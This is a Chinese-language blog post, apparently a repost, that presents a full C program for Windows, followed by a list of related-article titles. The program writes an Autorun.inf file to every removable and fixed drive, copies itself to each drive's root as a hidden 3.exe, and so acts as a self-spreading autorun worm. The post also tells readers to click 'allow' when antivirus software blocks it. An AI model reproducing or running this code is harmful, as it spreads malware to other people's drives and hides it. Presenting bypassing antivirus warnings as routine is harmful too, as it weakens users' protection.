配置Autorun.inf文件可以使双击磁盘时,自动运行某一应用程序。但是现在只支持CD或者DVD媒体了(以前硬盘也可以)

关于Autorun.inf的组成部分可以参考https://msdn.microsoft.com/zh-cn/cc144200

c语言编写程序的原理是,遍历C~Z所有分区,检查其类型,对所有DRIVE_REMOVABLE||DRIVE_FIXED类型的分区,写入使自身自动运行的Autorun.inf文件,将自身复制到相应分区的根目录下,同时将自己的属性设置为隐藏

程序如下:

 1 #include<stdio.h>
 2 #include<windows.h>
 3
 4 int main()
 5 {
 6     char Disk=NULL;
 7     UINT Type=0;
 8     FILE *fp;
 9     char strFileName[MAX_PATH]={0};
10     char szDriveName[4]={0};
11     wsprintf(szDriveName,"C:\0");
12
13     for(szDriveName[0]='C';szDriveName[0]<'Z';szDriveName[0]++)
14     {
15         Type=GetDriveType(szDriveName);
16         if((Type==DRIVE_REMOVABLE)||(Type==DRIVE_FIXED))
17         {
18             Disk=szDriveName[0];
19             sprintf(strFileName,"%c:\\Autorun.inf",Disk);
20             fp=fopen(strFileName,"w+");
21             fprintf(fp,"[AutoRun]\n");
22             fprintf(fp,"OPEN=3.exe\n");
23             fprintf(fp,"SHELLEXECUTE=3.exe\n");
24             fprintf(fp,"shell\\Auto\\command=3.exe\n");
25             fprintf(fp,"shell=Auto");
26             fclose(fp);
27
28             char selfPath[MAX_PATH];
29             char allRootPath[30];
30             GetModuleFileName(0,selfPath,MAX_PATH);
31             sprintf(allRootPath,"%c:\\3.exe",Disk);
32             CopyFile(selfPath,allRootPath,TRUE);
33             SetFileAttributes(allRootPath,FILE_ATTRIBUTE_HIDDEN);
34         }
35     }
36     return 0;
37 }

程序被杀毒软件阻止了,点击允许操作就好

转载于:https://www.cnblogs.com/lanf/p/5092943.html

关于Autorun.inf文件相关推荐

  1. Autorun.inf文件(2):改变硬盘分区图标

    改变F盘图标. 原理:在f盘下新建一个Autorun.inf文件,文件内容是 [AutoRun] icon=favicon.ico 准备名为favicon.ico图标文件,将其放在工程目录里,设计程序 ...

  2. 摘自黑客x档案论坛 Autorun.inf文件的攻击

    解析来自Autorun.inf文件的攻击 最近网上流行通过AutoRun.inf文件使对方所有的硬盘完全共享或中木马的方法,由于AutoRun.inf文件在黑客技术中的应用还是很少见的,相应的资料也不 ...

  3. U盘防毒最强方案(创建删不掉的autorun.inf文件夹)(删除)

    要创建window下无法删除的目录可以在(运行CMD)命令提示符中输入(将c:\改为目录所在路径) md c:\autorun.inf md c:\autorun.inf\killvirus-\ 要删 ...

  4. U盘防毒最强方案(创建删不掉的autorun.inf文件夹)

    病毒,每个人都深受其害,痛恨不已,特别是现在移动设备MP3.MP4.手机.U盘.移动硬盘飞速发展的时代,病毒也随着这些移动设备和网络快速蔓延和滋生,所以如何防止病毒入侵到自己的爱机和移动设备上就太重要 ...

  5. autorun.inf文件

    什么是Autorun.inf文件呢,严格的说它是一个必须存放在驱动器根目录下的有一定格式的文本文件,当你双击U盘或则磁盘的时候,它会自动执行里面的代码!!!它是由一个或多个"节"组 ...

  6. AutoRun.inf 文件详解

    我们已经知道可以利用Aurorun.inf来指定光盘自动加载的图标和运行的文件,其实Autorun.inf的用处可大了,下面就向大家详细介绍有关Autorun.inf的应用.    了解Autorun ...

  7. autorun.inf文件命令解释

    1.autorun.inf例子 利用autorun.inf自动运行exe文件和修改图标格式有以下两种: 方法1: [autorun]  OPEN=a.exe  ICON=a.ico 方法2: [aut ...

  8. 禁止双击盘符运行Autorun.inf文件

    作者:刘树伟 U盘病毒通常通过Autorun.inf进行传播,下面的方法,可以禁止Autorun运行. 打开注册表编辑器: 定位到[HKEY_CURRENT_USER\Software\Microso ...

  9. 对XP系统中Autorun.inf Autorun.exe以及RECYCLER文件夹的认识

    最近在学校机房曾一度流行的Autorun.inf  Autorun.exe  着实给不少同学和老师带了困惑 , 它总是会无情的感染大家的闪盘及其它可移动设备,而且的它的传播可谓迅速,广阔.尤其是当大家 ...

最新文章

  1. 为什么不能在init和dealloc函数中使用accessor方法
  2. 传输预编码matlab,基于MATLAB的MIMO系统预编码性能仿真教程.doc
  3. linux查看redis索引,linux的redis操作命令
  4. 扫地机器人欠压检测电路_扫地机器人智能家居必备!靠传感器感知外界环境?...
  5. 深度学习之生成对抗网络(8)WGAN-GP实战
  6. 实验 3 检查点和参数化实验报告--软件功能测试与性能测试实验
  7. MySQL提高插入数据的效率(结合JDBC)
  8. 单片机外部中断实验C语言程序,STC89C52单片机外部中断0实验
  9. Python Web项目自定义虚拟环境
  10. 两种简单高效的“反人脸识别”方法
  11. 开放API 与 查询语言GraphQL
  12. 基于 IDL 的遥感要素序列提取代码
  13. Hadoop环境搭建 MYSQL环境配置
  14. Mac的Adobe Creative Cloud无法连接至服务器解决方法
  15. 14个创意lut电影大片级别调色预设
  16. image could not be accessed on a registry to record its digest
  17. h5页面定时跳转+读秒
  18. CentOS如何拓展swap分区
  19. Windows 使用命令强制删除文件及文件夹
  20. Windows 环境JDK环境配置

热门文章

  1. linux tail 查找字符串,linux 查找包含字符串的文件
  2. vue的边距怎么设置_vue 拖动调整左右两侧div的宽度
  3. asp与php对比,个人看法 zblogasp和zblogphp的对比
  4. 对于spring的一些巩固一些难点的理解 2021-04-18
  5. jenkins访问地址_运维机器人hubot集成jenkins
  6. 学好java再学c 可以吗_再论学好C的重要性!!!
  7. android dialog内嵌listview样式,android 開發dialog 嵌套listview布局
  8. rust服务器假人文件,英语谚语总结计划大全.docx
  9. c combobox绑定mysql数据库_C# ComboBox:组合框控件数据绑定
  10. 超像素分割算法matlab_像素不够,算法来凑。这个图像超分辨率项目帮你「拍」出高清照片...